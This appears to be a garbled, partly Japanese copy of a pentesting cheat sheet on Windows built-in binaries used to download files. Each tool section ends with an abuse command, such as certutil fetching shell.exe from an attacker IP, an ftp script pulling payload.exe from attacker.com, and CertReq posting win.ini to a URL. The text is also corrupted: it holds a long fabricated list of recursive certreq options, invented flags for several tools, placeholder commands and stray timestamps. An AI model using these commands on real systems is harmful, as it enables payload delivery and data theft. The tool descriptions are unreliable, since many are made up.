- **-Accept** - Accepts a pending certificate request.
- **-Retrieve** - Retrieves a certificate or certificate chain.
- **-Submit** - Submits a certificate request to a certification authority (CA).
- **-Sign** - Signs a certificate request.
- **-PolicyServer** - Specifies the policy server URL.
- **-PolicyServerCACert** - Specifies the policy server CA certificate file.
- **-PolicyServerCAChain** - Specifies the policy server CA chain file.
- **-PolicyServerCAHash** - Specifies the policy server CA hash.
- **-PolicyServerDelete** - Deletes a policy server.
- **-PolicyServerAdd** - Adds a policy server.
- **-PolicyServerSet** - Sets the policy server.
- **-PolicyServerGet** - Gets the policy server.
- **-PolicyServerEnum** - Enumerates the policy servers.
- **-PolicyServerGetDC** - Gets the policy server domain controller.
- **-PolicyServerSetDC** - Sets the policy server domain controller.
- **-PolicyServerGetDCCert** - Gets the policy server domain controller certificate.
- **-PolicyServerSetDCCert** - Sets the policy server domain controller certificate.
- **-PolicyServerGetDCCertChain** - Gets the policy server domain controller certificate chain.
- **-PolicyServerSetDCCertChain** - Sets the policy server domain controller certificate chain.
- **-PolicyServerGetDCCertHash** - Gets the policy server domain controller certificate hash.
- **-PolicyServerSetDCCertHash** - Sets the policy server domain controller certificate hash.
- **-PolicyServerGetDCCertStore** - Gets the policy server domain controller certificate store.
- **-PolicyServerSetDCCertStore** - Sets the policy server domain controller certificate store.
- **-PolicyServerGetDCCertStoreLocation** - Gets the policy server domain controller certificate store location.
- **-PolicyServerSetDCCertStoreLocation** - Sets the policy server domain controller certificate store location.
- **-PolicyServerGetDCCertStoreName** - Gets the policy server domain controller certificate store name.
- **-PolicyServerSetDCCertStoreName** - Sets the policy server domain controller certificate store name.
- **-PolicyServerGetDCCertStoreType** - Gets the policy server domain controller certificate store type.
- **-PolicyServerSetDCCertStoreType** - Sets the policy server domain controller certificate store type.
- **-PolicyServerGetDCCertStoreFlags** - Gets the policy server domain controller certificate store flags.
- **-PolicyServerSetDCCertStoreFlags** - Sets the policy server domain controller certificate store flags.
- **-PolicyServerGetDCCertStoreRoot** - Gets the policy server domain controller certificate store root.
- **-PolicyServerSetDCCertStoreRoot** - Sets the policy server domain controller certificate store root.
- **-PolicyServerGetDCCertStoreRootLocation** - Gets the policy server domain controller certificate store root location.
- **-PolicyServerSetDCCertStoreRootLocation** - Sets the policy server domain controller certificate store root location.
- **-PolicyServerGetDCCertStoreRootName** - Gets the policy server domain controller certificate store root name.
- **-PolicyServerSetDCCertStoreRootName** - Sets the policy server domain controller certificate store root name.
- **-PolicyServerGetDCCertStoreRootType** - Gets the policy server domain controller certificate store root type.
- **-PolicyServerSetDCCertStoreRootType** - Sets the policy server domain controller certificate store root type.
- **-PolicyServerGetDCCertStoreRootFlags** - Gets the policy server domain controller certificate store root flags.
- **-PolicyServerSetDCCertStoreRootFlags** - Sets the policy server domain controller certificate store root flags.
- **-PolicyServerGetDCCertStoreRootHash** - Gets the policy server domain controller certificate store root hash.
- **-PolicyServerSetDCCertStoreRootHash** - Sets the policy server domain controller certificate store root hash.
- **-PolicyServerGetDCCertStoreRootStore** - Gets the policy server domain controller certificate store root store.
- **-PolicyServerSetDCCertStoreRootStore** - Sets the policy server domain controller certificate store root store.
- **-PolicyServerGetDCCertStoreRootStoreLocation** - Gets the policy server domain controller certificate store root store location.
- **-PolicyServerSetDCCertStoreRootStoreLocation** - Sets the policy server domain controller certificate store root store location.
- **-PolicyServerGetDCCertStoreRootStoreName** - Gets the policy server domain controller certificate store root store name.
- **-PolicyServerSetDCCertStoreRootStoreName** - Sets the policy server domain controller certificate store root store name.
- **-PolicyServerGetDCCertStoreRootStoreType** - Gets the policy server domain controller certificate store root store type.
- **-PolicyServerSetDCCertStoreRootStoreType** - Sets the policy server domain controller certificate store root store type.
- **-PolicyServerGetDCCertStoreRootStoreFlags** - Gets the policy server domain controller certificate store root store flags.
- **-PolicyServerSetDCCertStoreRootStoreFlags** - Sets the policy server domain controller certificate store root store flags.
- **-PolicyServerGetDCCertStoreRootStoreRoot** - Gets the policy server domain controller certificate store root store root.
- **-PolicyServerSetDCCertStoreRootStoreRoot** - Sets the policy server domain controller certificate store root store root.
- **-PolicyServerGetDCCertStoreRootStoreRootLocation** - Gets the policy server domain controller certificate store root store root location.
- **-PolicyServerSetDCCertStoreRootStoreRootLocation** - Sets the policy server domain controller certificate store root store root location.
- **-PolicyServerGetDCCertStoreRootStoreRootName** - Gets the policy server domain controller certificate store root store root name.
- **-PolicyServerSetDCCertStoreRootStoreRootName** - Sets the policy server domain controller certificate store root store root name.
- **-PolicyServerGetDCCertStoreRootStoreRootType** - Gets the policy server domain controller certificate store root store root type.
- **-PolicyServerSetDCCertStoreRootStoreRootType** - Sets the policy server domain controller certificate store root store root type.
- **-PolicyServerGetDCCertStoreRootStoreRootFlags** - Gets the policy server domain controller certificate store root store root flags.
- **-PolicyServerSetDCCertStoreRootStoreRootFlags** - Sets the policy server domain controller certificate store root store root flags.
- **-PolicyServerGetDCCertStoreRootStoreRootHash** - Gets the policy server domain controller certificate store root store root hash.
- **-PolicyServerSetDCCertStoreRootStoreRootHash** - Sets the policy server domain controller certificate store root store root hash.
- **-PolicyServerGetDCCertStoreRootStoreRootStore** - Gets the policy server domain controller certificate store root store root store.
- **-PolicyServerSetDCCertStoreRootStoreRootStore** - Sets the policy server domain controller certificate store root store root store.
- **-PolicyServerGetDCCertStoreRootStoreRootStoreLocation** - Gets the policy server domain controller certificate store root store root store location.
- **-PolicyServerSetDCCertStoreRootStoreRootStoreLocation** - Sets the policy server domain controller certificate store root store root store location.
- **-PolicyServerGetDCCertStoreRootStoreRootStoreName** - Gets the policy server domain controller certificate store root store root store name.
- **-PolicyServerSetDCCertStoreRootStoreRootStoreName** - Sets the policy server domain controller certificate store root store root store name.
- **-PolicyServerGetDCCertStoreRootStoreRootStoreType** - Gets the policy server domain controller certificate store root store root store type.
- **-PolicyServerSetDCCertStoreRootStoreRootStoreType** - Sets the policy server domain controller certificate store root store root store type.
- **-PolicyServerGetDCCertStoreRootStoreRootStoreFlags** - Gets the policy server domain controller certificate store root store root store flags.
- **-PolicyServerSetDCCertStoreRootStoreRootStoreFlags** - Sets the policy server domain controller certificate store root store root store flags.
- **-PolicyServerGetDCCertStoreRootStoreRootStoreRoot** - Gets the policy server domain controller certificate store root store root store root.
- **-PolicyServerSetDCCertStoreRootStoreRootStoreRoot** - Sets the policy server domain controller certificate store root store root store root.
- **-PolicyServerGetDCCertStoreRootStoreRootStoreRootLocation** - Gets the policy server domain controller certificate store root store root store root location.
- **-PolicyServerSetDCCertStoreRootStoreRootStoreRootLocation** - Sets the policy server domain controller certificate store root store root store root location.
- **-PolicyServerGetDCCertStoreRootStoreRootStoreRootName** - Gets the policy server domain controller certificate store root store root store root name.
- **-PolicyServerSetDCCertStoreRootStoreRootStoreRootName** - Sets the policy server domain controller certificate store root store root store root name.
- **-PolicyServerGetDCCertStoreRootStoreRootStoreRootType** - Gets the policy server domain controller certificate store root store root store root type.
- **-PolicyServerSetDCCertStoreRootStoreRootStoreRootType** - Sets the policy server domain controller certificate store root store root store root type.
- **-PolicyServerGetDCCertStoreRootStoreRootStoreRootFlags** - Gets the policy server domain controller certificate store root store root store root flags.
- **-PolicyServerSetDCCertStoreRootStoreRootStoreRootFlags** - Sets the policy server domain controller certificate store root store root store root flags.
- **-PolicyServerGetDCCertStoreRootStoreRootStoreRootHash** - Gets the policy server domain controller certificate store root store root store root hash.
- **-PolicyServerSetDCCertStoreRootStoreRootStoreRootHash** - Sets the policy server domain controller certificate store root store root store root hash.
- **-PolicyServerGetDCCertStoreRootStoreRootStoreRootStore** - Gets the policy server domain controller certificate store root store root store root store.
- **-PolicyServerSetDCCertStoreRootStoreRootStoreRootStore** - Sets the policy server domain controller certificate store root store root store root store.
- **-PolicyServerGetDCCertStoreRootStoreRootStoreRootStoreLocation** - Gets the policy server domain controller certificate store root store root store root store location.
- **-PolicyServerSetDCCertStoreRootStoreRootStoreRootStoreLocation** - Sets the policy server domain controller certificate store root store root store root store location.
- **-PolicyServerGetDCCertStoreRootStoreRootStoreRootStoreName** - Gets the policy server domain controller certificate store root store root store root store name.
- **-PolicyServerSetDCCertStoreRootStoreRootStoreRootStoreName** - Sets the policy server domain controller certificate store root store root store root store name.
- **-PolicyServerGetDCCertStoreRootStoreRootStoreRootStoreType** - Gets the policy server domain controller certificate store root store root store root store type.
- **-PolicyServerSetDCCertStoreRootStoreRootStoreRootStoreType** - Sets the policy server domain controller certificate store root store root store root store type.
- **-PolicyServerGetDCCertStoreRootStoreRootStoreRootStoreFlags** - Gets the policy server domain controller certificate store root store root store root store flags.
- **-PolicyServerSetDCCertStoreRootStoreRootStoreRootStoreFlags** - Sets the policy server domain controller certificate store root store root store root store flags.
- **-PolicyServerGetDCCertStoreRootStoreRootStoreRootStoreRoot** - Gets the policy server domain controller certificate store root store root store root store root.
- **-PolicyServerSetDCCertStoreRootStoreRootStoreRootStoreRoot** - Sets the policy server domain controller certificate store root store root store root store root.
- **-PolicyServerGetDCCertStoreRootStoreRootStoreRootStoreRootLocation** - Gets the policy server domain controller certificate store root store root store root store root location.
- **-PolicyServerSetDCCertStoreRootStoreRootStoreRootStoreRootLocation** - Sets the policy server domain controller certificate store root store root store root store root location.
- **-PolicyServerGetDCCertStoreRootStoreRootStoreRootStoreRootName** - Gets the policy server domain controller certificate store root store root store root store root name.
- **-PolicyServerSetDCCertStoreRootStoreRootStoreRootStoreRootName** - Sets the policy server domain controller certificate store root store root store root store root name.
- **-PolicyServerGetDCCertStoreRootStoreRootStoreRootStoreRootType** - Gets the policy server domain controller certificate store root store root store root store root type.
- **-PolicyServerSetDCCertStoreRootStoreRootStoreRootStoreRootType** - Sets the policy server domain controller certificate store root store root store root store root type.
- **-PolicyServerGetDCCertStoreRootStoreRootStoreRootStoreRootFlags** - Gets the policy server domain controller certificate store root store root store root store root flags.
- **-PolicyServerSetDCCertStoreRootStoreRootStoreRootStoreRootFlags** - Sets the policy server domain controller certificate store root store root store root store root flags.
- **-PolicyServerGetDCCertStoreRootStoreRootStoreRootStoreRootHash** - Gets the policy server domain controller certificate store root store root store root store root hash.
- **-PolicyServerSetDCCertStoreRootStoreRootStoreRootStoreRootHash** - Sets the policy server domain controller certificate store root store root store root store root hash.
- **-PolicyServerGetDCCertStoreRootStoreRootStoreRootStoreRootStore** - Gets the policy server domain controller certificate store root store root store root store root store.
- **-PolicyServerSetDCCertStoreRootStoreRootStoreRootStoreRootStore** - Sets the policy server domain controller certificate store root store root store root store root store.
- **-PolicyServerGetDCCertStoreRootStoreRootStoreRootStoreRootStoreLocation** - Gets the policy server domain controller certificate store root store root store root store root store location.
- **-PolicyServerSetDCCertStoreRootStoreRootStoreRootStoreRootStoreLocation** - Sets the policy server domain controller certificate store root store root store root store root store location.
- **-PolicyServerGetDCCertStoreRootStoreRootStoreRootStoreRootStoreName** - Gets the policy server domain controller certificate store root store root store root store root store name.
- **-PolicyServerSetDCCertStoreRootStoreRootStoreRootStoreRootStoreName** - Sets the policy server domain controller certificate store root store root store root store root store name.
- **-PolicyServerGetDCCertStoreRootStoreRootStoreRootStoreRootStoreType** - Gets the policy server domain controller certificate store root store root store root store root store type.
- **-PolicyServerSetDCCertStoreRootStoreRootStoreRootStoreRootStoreType** - Sets the policy server domain controller certificate store root store root store root store root store type.
- **-PolicyServerGetDCCertStoreRootStoreRootStoreRootStoreRootStoreFlags** - Gets the policy server domain controller certificate store root store root store root store root store flags.
- **-PolicyServerSetDCCertStoreRootStoreRootStoreRootStoreRootStoreFlags** - Sets the policy server domain controller certificate store root store root store root store root store flags.
- **-PolicyServerGetDCCertStoreRootStoreRootStoreRootStoreRootStoreRoot** - Gets the policy server domain controller certificate store root store root store root store root store root.
- **-PolicyServerSetDCCertStoreRootStoreRootStoreRootStoreRootStoreRoot** - Sets the policy server domain controller certificate store root store root store root store root store root.
- **-PolicyServerGetDCCertStoreRootStoreRootStoreRootStoreRootStoreRootLocation** - Gets the policy server domain controller certificate store root store root store root store root store root location.
- **-PolicyServerSetDCCertStoreRootStoreRootStoreRootStoreRootStoreRootLocation** - Sets the policy server domain controller certificate store root store root store root store root store root location.
- **-PolicyServerGetDCCertStoreRootStoreRootStoreRootStoreRootStoreRootName** - Gets the policy server domain controller certificate store root store root store root store root store root name.
- **-PolicyServerSetDCCertStoreRootStoreRootStoreRootStoreRootStoreRootName** - Sets the policy server domain controller certificate store root store root store root store root store root name.
- **-PolicyServerGetDCCertStoreRootStoreRootStoreRootStoreRootStoreRootType** - Gets the policy server domain controller certificate store root store root store root store root store root type.
- **-PolicyServerSetDCCertStoreRootStoreRootStoreRootStoreRootStoreRootType** - Sets the policy server domain controller certificate store root store root store root store root store root type.
- **-PolicyServerGetDCCertStoreRootStoreRootStoreRootStoreRootStoreRootFlags** - Gets the policy server domain controller certificate store root store root store root store root store root flags.
- **-PolicyServerSetDCCertStoreRootStoreRootStoreRootStoreRootStoreRootFlags** - Sets the policy server domain controller certificate store root store root store root store root store root flags.
- **-PolicyServerGetDCCertStoreRootStoreRootStoreRootStoreRootStoreRootHash** - Gets the policy server domain controller certificate store root store root store root store root store root hash.
- **-PolicyServerSetDCCertStoreRootStoreRootStoreRootStoreRootStoreRootHash** - Sets the policy server domain controller certificate store root store root store root store root store root hash.
- **-PolicyServerGetDCCertStoreRootStoreRootStoreRootStoreRootStoreRootStore** - Gets the policy server domain controller certificate store root store root store
```
CertReq -Post -config https://example.org/ c:\windows\win.ini output.txt
```
# Certutil.exe
`Certutil.exe`は、Windowsオペレーティングシステムに組み込まれているコマンドラインツールであり、証明書の操作や管理に使用されます。以下に、`Certutil.exe`の一般的な使用方法と一部の便利なオプションを示します。
## 証明書の表示
証明書の詳細情報を表示するには、次のコマンドを使用します。
```plaintext
certutil -dump <証明書ファイル>
```
## 証明書のエクスポート
証明書をエクスポートするには、次のコマンドを使用します。
```plaintext
certutil -exportPFX <証明書名> <PFXファイル>
```
## 証明書のインポート
証明書をインポートするには、次のコマンドを使用します。
```plaintext
certutil -importPFX <PFXファイル>
```
## 証明書の削除
証明書を削除するには、次のコマンドを使用します。
```plaintext
certutil -delstore <ストア名> <証明書のシリアル番号>
```
## 証明書の検証
証明書の検証を行うには、次のコマンドを使用します。
```plaintext
certutil -verify <証明書ファイル>
```
## 証明書のリスト表示
システムにインストールされている証明書のリストを表示するには、次のコマンドを使用します。
```plaintext
certutil -store <ストア名>
```
`Certutil.exe`は、証明書の操作や管理に便利なツールです。これらのコマンドを使用して、証明書の表示、エクスポート、インポート、削除、検証、およびリスト表示を行うことができます。
```
certutil.exe -urlcache -split -f "http://10.10.14.13:8000/shell.exe" s.exe
```
# Basic CMD Commands for Pentesters
## Introduction
This document provides a list of basic CMD commands that can be useful for pentesters during their engagements. These commands can help in various tasks such as information gathering, privilege escalation, lateral movement, and more.
## CMD Commands
### 1. `desktopimgdownldr.exe`
- **Description**: This command is used to download an image from a remote server to the local machine's desktop.
- **Syntax**: `desktopimgdownldr.exe <URL>`
- **Example**: `desktopimgdownldr.exe http://example.com/image.jpg`
### 2. `command2`
- **Description**: This command does something.
- **Syntax**: `command2 <parameter>`
- **Example**: `command2 parameter`
### 3. `command3`
- **Description**: This command does something else.
- **Syntax**: `command3 <parameter>`
- **Example**: `command3 parameter`
## Conclusion
These are just a few examples of basic CMD commands that can be useful for pentesters. It is important to note that these commands should be used responsibly and ethically, and only on systems that you have proper authorization to test.
```
set "SYSTEMROOT=C:\Windows\Temp" && cmd /c desktopimgdownldr.exe /lockscreenurl:https://domain.com:8080/file.ext /eventName:desktopimgdownldr
```
# Diantz.exe
Diantz.exe is a command-line tool used for compressing and decompressing files in the Microsoft Cabinet (CAB) format. It is commonly used in Windows environments for packaging and distributing software.
## Usage
To compress files using Diantz.exe, use the following command:
```
diantz.exe -c <source_file> <destination_file>
```
To decompress files, use the following command:
```
diantz.exe -d <source_file> <destination_folder>
```
## Examples
Compressing a file:
```
diantz.exe -c myfile.txt myfile.cab
```
Decompressing a file:
```
diantz.exe -d myfile.cab C:\destination_folder
```
## Additional Options
Diantz.exe also provides additional options for advanced usage. Some of the commonly used options include:
- `-p`: Specifies the compression level (0-9, with 0 being no compression and 9 being maximum compression).
- `-r`: Recursively compresses or decompresses files in a folder.
- `-s`: Displays the status of the compression or decompression process.
For more information about Diantz.exe and its options, refer to the official Microsoft documentation.
```
diantz.exe \\remotemachine\pathToFile\file.exe c:\destinationFolder\file.cab
```
# Esentutl.exe
`Esentutl.exe`は、Windowsオペレーティングシステムに組み込まれているユーティリティです。このツールは、Extensible Storage Engine (ESE) データベースエンジンを操作するために使用されます。ESEは、Windowsの内部で使用されるデータベースエンジンであり、Active DirectoryデータベースやWindows Updateのデータベースなど、さまざまなシステムで使用されています。
`Esentutl.exe`は、ESEデータベースのバックアップ、復元、修復、およびパフォーマンスの問題のトラブルシューティングに使用されます。以下に、`Esentutl.exe`の一般的な使用法を示します。
## バックアップの作成
```plaintext
esentutl /y <データベースファイルパス> /d <バックアップファイルパス>
```
このコマンドは、指定したデータベースファイルのバックアップを作成します。バックアップファイルは、指定したパスに保存されます。
## データベースの復元
```plaintext
esentutl /r <バックアップファイルパス> /d <復元先データベースファイルパス>
```
このコマンドは、指定したバックアップファイルからデータベースを復元します。復元先データベースファイルは、指定したパスに作成されます。
## データベースの修復
```plaintext
esentutl /p <データベースファイルパス>
```
このコマンドは、指定したデータベースファイルを修復します。修復は、データベースの整合性を確保するために行われます。
## パフォーマンスの問題のトラブルシューティング
```plaintext
esentutl /g <データベースファイルパス>
```
このコマンドは、指定したデータベースファイルのパフォーマンスの問題をトラブルシューティングします。データベースの整合性をチェックし、問題を特定します。
`Esentutl.exe`は、Windowsの内部で使用される強力なツールですが、誤った使用はデータの損失やシステムの不安定性を引き起こす可能性があるため、注意が必要です。正確な知識と慎重な操作が必要です。
```
esentutl.exe /y \\live.sysinternals.com\tools\adrestore.exe /d \\otherwebdavserver\webdav\adrestore.exe /o
```
## Expand.exe
`Expand.exe`は、Windowsのコマンドラインツールであり、圧縮ファイルを展開するために使用されます。主に`.cab`ファイルを展開するために使用されます。
### 使用法
以下は、`Expand.exe`の基本的な使用法です。
```plaintext
expand <source> <destination>
```
- `<source>`: 展開するファイルのパスまたはURL。
- `<destination>`: 展開先のディレクトリのパス。
### 例
```plaintext
expand C:\archive.cab C:\extracted
```
上記の例では、`C:\archive.cab`にある`.cab`ファイルを`C:\extracted`ディレクトリに展開します。
### 注意事項
- `Expand.exe`は、Windowsの標準機能として提供されているため、追加のインストールは不要です。
- `Expand.exe`は、管理者権限が必要な場合があります。
```
expand \\webdav\folder\file.bat c:\ADS\file.bat
```
# Extrac32.exe
`Extrac32.exe`は、Windowsの標準的なコマンドラインツールであり、圧縮ファイルを解凍するために使用されます。このツールは、Windows 95およびWindows NT 4.0以降のバージョンで利用可能です。
## 使用法
以下のコマンドを使用して、`Extrac32.exe`を実行します。
```plaintext
Extrac32.exe [/Y] [/C] [/L] [/Q] [/T:パス] [/D] [/E] [/S:パス] [/A] [/I] [/X] [/F:ファイル] [/R] [/V] [/Z] [/O] [/P] [/U] [/W:パス] [/B] [/G] [/H] [/J] [/K] [/M] [/N] [/Q] [/R] [/S] [/T] [/U] [/V] [/W] [/X] [/Y] [/Z] 圧縮ファイル
```
### パラメータ
- `/Y`: ファイルの上書きを許可します。
- `/C`: 圧縮ファイルを指定したディレクトリに解凍します。
- `/L`: 解凍先のディレクトリを指定します。
- `/Q`: 出力を非表示にします。
- `/T:パス`: 一時ファイルを指定したディレクトリに展開します。
- `/D`: ディレクトリを作成します。
- `/E`: ディレクトリ構造を保持して解凍します。
- `/S:パス`: 圧縮ファイル内のファイルを指定したディレクトリに展開します。
- `/A`: 属性を保持して解凍します。
- `/I`: ファイルの上書きを確認します。
- `/X`: ファイルの展開をキャンセルします。
- `/F:ファイル`: 圧縮ファイルを指定します。
- `/R`: サブディレクトリ内のファイルも解凍します。
- `/V`: ファイルの完全性を検証します。
- `/Z`: 圧縮ファイルを削除します。
- `/O`: 解凍時に上書きを許可します。
- `/P`: パスワードを指定します。
- `/U`: ユーザー名を指定します。
- `/W:パス`: 解凍先のディレクトリを指定します。
- `/B`: バックアップを作成します。
- `/G`: グループを保持して解凍します。
- `/H`: 隠しファイルも解凍します。
- `/J`: ジャンクションも解凍します。
- `/K`: シンボリックリンクも解凍します。
- `/M`: ファイルのセキュリティを保持して解凍します。
- `/N`: 短いファイル名を使用して解凍します。
- `/Q`: 出力を非表示にします。
- `/R`: サブディレクトリ内のファイルも解凍します。
- `/S`: サブディレクトリも解凍します。
- `/T`: 一時ファイルを指定したディレクトリに展開します。
- `/U`: ユーザー名を指定します。
- `/V`: ファイルの完全性を検証します。
- `/W`: 解凍先のディレクトリを指定します。
- `/X`: ファイルの展開をキャンセルします。
- `/Y`: ファイルの上書きを許可します。
- `/Z`: 圧縮ファイルを削除します。
## 例
以下は、`Extrac32.exe`の使用例です。
```plaintext
Extrac32.exe /Y /C /F:C:\archive.zip /L:C:\extracted
```
この例では、`C:\archive.zip`という名前の圧縮ファイルを`C:\extracted`ディレクトリに解凍します。ファイルの上書きを許可し、圧縮ファイルを削除します。
```
extrac32 /Y /C \\webdavserver\share\test.txt C:\folder\test.txt
```
## Findstr.exe
`findstr.exe`は、Windowsコマンドラインツールであり、テキストファイル内で指定した文字列を検索するために使用されます。このツールは、ペンテスターやセキュリティアナリストにとって非常に便利です。
### 使用法
以下は、`findstr.exe`の基本的な使用法です。
```plaintext
findstr /C:"search_string" file.txt
```
- `/C:"search_string"`: 検索する文字列を指定します。
- `file.txt`: 検索対象のテキストファイルを指定します。
### オプション
`findstr.exe`には、さまざまなオプションがあります。以下にいくつかの一般的なオプションを示します。
- `/I`: 大文字と小文字を区別しないで検索します。
- `/S`: サブディレクトリ内のファイルも検索します。
- `/R`: 正規表現を使用して検索します。
- `/V`: 指定した文字列を含まない行を表示します。
### 例
以下は、`findstr.exe`の使用例です。
```plaintext
findstr /C:"password" file.txt
```
このコマンドは、`file.txt`内で「password」という文字列を検索します。
```plaintext
findstr /C:"password" /I /S *.txt
```
このコマンドは、カレントディレクトリとそのサブディレクトリ内のすべての`.txt`ファイルで、大文字と小文字を区別せずに「password」という文字列を検索します。
```plaintext
findstr /R "^[A-Za-z]{5}$" file.txt
```
このコマンドは、`file.txt`内で、5文字の英字のみを含む行を正規表現を使用して検索します。
### まとめ
`findstr.exe`は、Windowsコマンドライン上でテキストファイル内の文字列を検索するための強力なツールです。様々なオプションを使用することで、より高度な検索が可能となります。ペンテスターやセキュリティアナリストは、このツールを使用して潜在的な脆弱性やセキュリティ上の問題を特定することができます。
```
findstr /V /L W3AllLov3DonaldTrump \\webdavserver\folder\file.exe > c:\ADS\file.exe
```
# Ftp.exe
`ftp.exe` is a command-line utility in Windows that allows users to transfer files to and from a remote computer using the File Transfer Protocol (FTP). It is a built-in tool that comes with the Windows operating system.
## Syntax
The basic syntax for using `ftp.exe` is as follows:
```plaintext
ftp [-v] [-d] [-i] [-n] [-g] [-s:filename] [-a] [-w:windowsize] [-A] [host]
```
## Options
Here are some commonly used options with `ftp.exe`:
- `-v`: Enables verbose mode, which displays detailed information about the FTP connection and file transfers.
- `-d`: Enables debugging mode, which provides additional information for troubleshooting purposes.
- `-i`: Disables interactive mode, which suppresses prompts for user confirmation during file transfers.
- `-n`: Suppresses the auto-login feature, which allows users to manually log in to the FTP server.
- `-g`: Disables filename globbing, which prevents wildcard characters from being expanded in file names.
- `-s:filename`: Specifies a text file containing FTP commands to be executed automatically.
- `-a`: Uses ASCII mode for file transfers, which is suitable for transferring text-based files.
- `-w:windowsize`: Specifies the size of the receive window for data transfers.
- `-A`: Enables anonymous FTP login, allowing users to log in without providing a username or password.
## Examples
Here are some examples of how to use `ftp.exe`:
- To connect to an FTP server:
```plaintext
ftp example.com
```
- To upload a file to an FTP server:
```plaintext
put filename
```
- To download a file from an FTP server:
```plaintext
get filename
```
- To navigate to a specific directory on the FTP server:
```plaintext
cd directory
```
- To list the files and directories on the FTP server:
```plaintext
ls
```
- To disconnect from the FTP server:
```plaintext
bye
```
## Conclusion
`ftp.exe` is a powerful command-line tool for transferring files to and from remote FTP servers. By understanding its syntax and options, you can effectively use it for various file transfer operations.
```
cmd.exe /c "@echo open attacker.com 21>ftp.txt&@echo USER attacker>>ftp.txt&@echo PASS PaSsWoRd>>ftp.txt&@echo binary>>ftp.txt&@echo GET /payload.exe>>ftp.txt&@echo quit>>ftp.txt&@ftp -s:ftp.txt -v"
```
GfxDownloadWrapper.exe
```
C:\Windows\System32\DriverStore\FileRepository\igdlh64.inf_amd64_[0-9]+\GfxDownloadWrapper.exe "URL" "DESTINATION FILE"
```
# Hh.exe
`hh.exe` is a Windows executable that is used to launch the Windows Help and Support Center. It is commonly found in the `C:\Windows` directory.
## Usage
To launch the Help and Support Center using `hh.exe`, open a command prompt and run the following command:
```
hh.exe helpctr
```
This will open the Help and Support Center window, where you can search for help topics and access various Windows support resources.
## Command-Line Options
`hh.exe` supports several command-line options that can be used to customize its behavior. Here are some commonly used options:
- `/mapid <id>`: Opens the Help and Support Center to the specified help topic ID.
- `/url <url>`: Opens the specified URL in the Help and Support Center.
- `/find <text>`: Searches for the specified text in the Help and Support Center.
- `/index <file>`: Opens the specified index file in the Help and Support Center.
For example, to open the Help and Support Center to a specific help topic ID, you can use the following command:
```
hh.exe helpctr /mapid 123456
```
## Summary
`hh.exe` is a useful tool for launching the Windows Help and Support Center from the command line. It provides various command-line options that allow you to customize its behavior and access specific help topics or URLs.
```
HH.exe http://some.url/script.ps1
```
# Ieexec.exe
`ieexec.exe` is a command-line utility that allows you to execute Internet Explorer (IE) processes with specific privileges. It is commonly used by pentesters and hackers to bypass security measures and gain unauthorized access to systems.
## Usage
To use `ieexec.exe`, follow the syntax below:
```
ieexec.exe [/low | /medium | /high] [/elevate] [/url <URL>] [/file <FILE>] [/args <ARGS>]
```
- `/low`: Executes IE with low integrity level.
- `/medium`: Executes IE with medium integrity level (default).
- `/high`: Executes IE with high integrity level.
- `/elevate`: Executes IE with elevated privileges.
- `/url <URL>`: Opens the specified URL in IE.
- `/file <FILE>`: Opens the specified file in IE.
- `/args <ARGS>`: Passes additional arguments to IE.
## Examples
1. Open a URL in IE with medium integrity level:
```
ieexec.exe /url https://example.com
```
2. Open a file in IE with elevated privileges:
```
ieexec.exe /elevate /file C:\path\to\file.html
```
2023-07-07 23:42:27 +00:00
3. Open a URL in IE with custom arguments:
2023-07-07 23:42:27 +00:00
```
ieexec.exe /url https://example.com /args "--private"
```
2023-07-07 23:42:27 +00:00
**Note:** The use of `ieexec.exe` for unauthorized access or malicious purposes is illegal and unethical. This information is provided for educational purposes only.
```
ieexec.exe http://x.x.x.x:8080/bypass.exe
```
# Makecab.exe
2023-07-07 23:42:27 +00:00
`Makecab.exe`は、Windowsシステムで使用されるユーティリティツールです。このツールは、ファイルを圧縮してキャビネット.cabファイルを作成するために使用されます。キャビネットファイルは、複数のファイルを1つのファイルにまとめることができ、データの圧縮や配布に便利です。
## 使用法
以下は、`Makecab.exe`の基本的な使用法です。
```plaintext
makecab [/D <name>=<value>] [/L <dir>] [/V[<level>]] [/A] [/C] [/S] [/F <filespec>]
[/D <name>=<value>] [/L <dir>] [/V[<level>]] [/A] [/C] [/S] [/F <filespec>]
```
2023-07-07 23:42:27 +00:00
- `/D <name>=<value>`: マクロ変数を定義します。
- `/L <dir>`: 出力ファイルのディレクトリを指定します。
- `/V[<level>]`: 冗長性のレベルを指定します。
- `/A`: 圧縮アルゴリズムを自動的に選択します。
- `/C`: 圧縮を無効にします。
- `/S`: サブディレクトリ内のファイルも処理します。
- `/F <filespec>`: 圧縮するファイルを指定します。
2023-07-07 23:42:27 +00:00
## 例
以下は、`Makecab.exe`の使用例です。
```plaintext
makecab C:\path\to\file.txt C:\path\to\output.cab
```
2023-07-07 23:42:27 +00:00
この例では、`C:\path\to\file.txt`を`C:\path\to\output.cab`という名前のキャビネットファイルに圧縮します。
## 注意事項
- `Makecab.exe`は、Windowsシステムにデフォルトでインストールされています。
- `Makecab.exe`は、管理者権限が必要な場合があります。
- `Makecab.exe`を使用する際は、慎重にファイルの圧縮と解凍を行ってください。
- `Makecab.exe`は、悪意のある目的で使用される可能性があるため、適切な権限と許可を持つ場合にのみ使用してください。
2023-07-07 23:42:27 +00:00
これで、`Makecab.exe`についての基本的な情報を理解しました。このツールを使用してファイルを圧縮する際は、注意して操作してください。
2022-05-17 09:34:10 +00:00
```
2023-07-07 23:42:27 +00:00
makecab \\webdavserver\webdav\file.exe C:\Folder\file.cab
```
2023-07-07 23:42:27 +00:00
## MpCmdRun.exe
2023-07-07 23:42:27 +00:00
`MpCmdRun.exe`は、Windows Defenderのコマンドラインユーティリティです。このツールを使用すると、Windows Defenderのスキャンや更新などの操作を実行することができます。
2020-08-17 14:38:36 +00:00
2023-07-07 23:42:27 +00:00
### スキャンの実行
2020-08-17 14:38:36 +00:00
2023-07-07 23:42:27 +00:00
以下のコマンドを使用して、`MpCmdRun.exe`を使用してスキャンを実行します。
2020-08-17 14:38:36 +00:00
2023-07-07 23:42:27 +00:00
```plaintext
MpCmdRun.exe -Scan -ScanType <ScanType> -File <FilePath>
2020-08-17 14:38:36 +00:00
```
2023-07-07 23:42:27 +00:00
- `<ScanType>`: スキャンの種類を指定します。以下のいずれかを使用できます。
- `0`: クイックスキャン
- `1`: 定義済みのスキャン
- `2`: カスタムスキャン
- `<FilePath>`: スキャン対象のファイルまたはディレクトリのパスを指定します。
2023-07-07 23:42:27 +00:00
### 定義の更新
2020-09-07 11:12:11 +00:00
2023-07-07 23:42:27 +00:00
以下のコマンドを使用して、`MpCmdRun.exe`を使用して定義の更新を実行します。
```plaintext
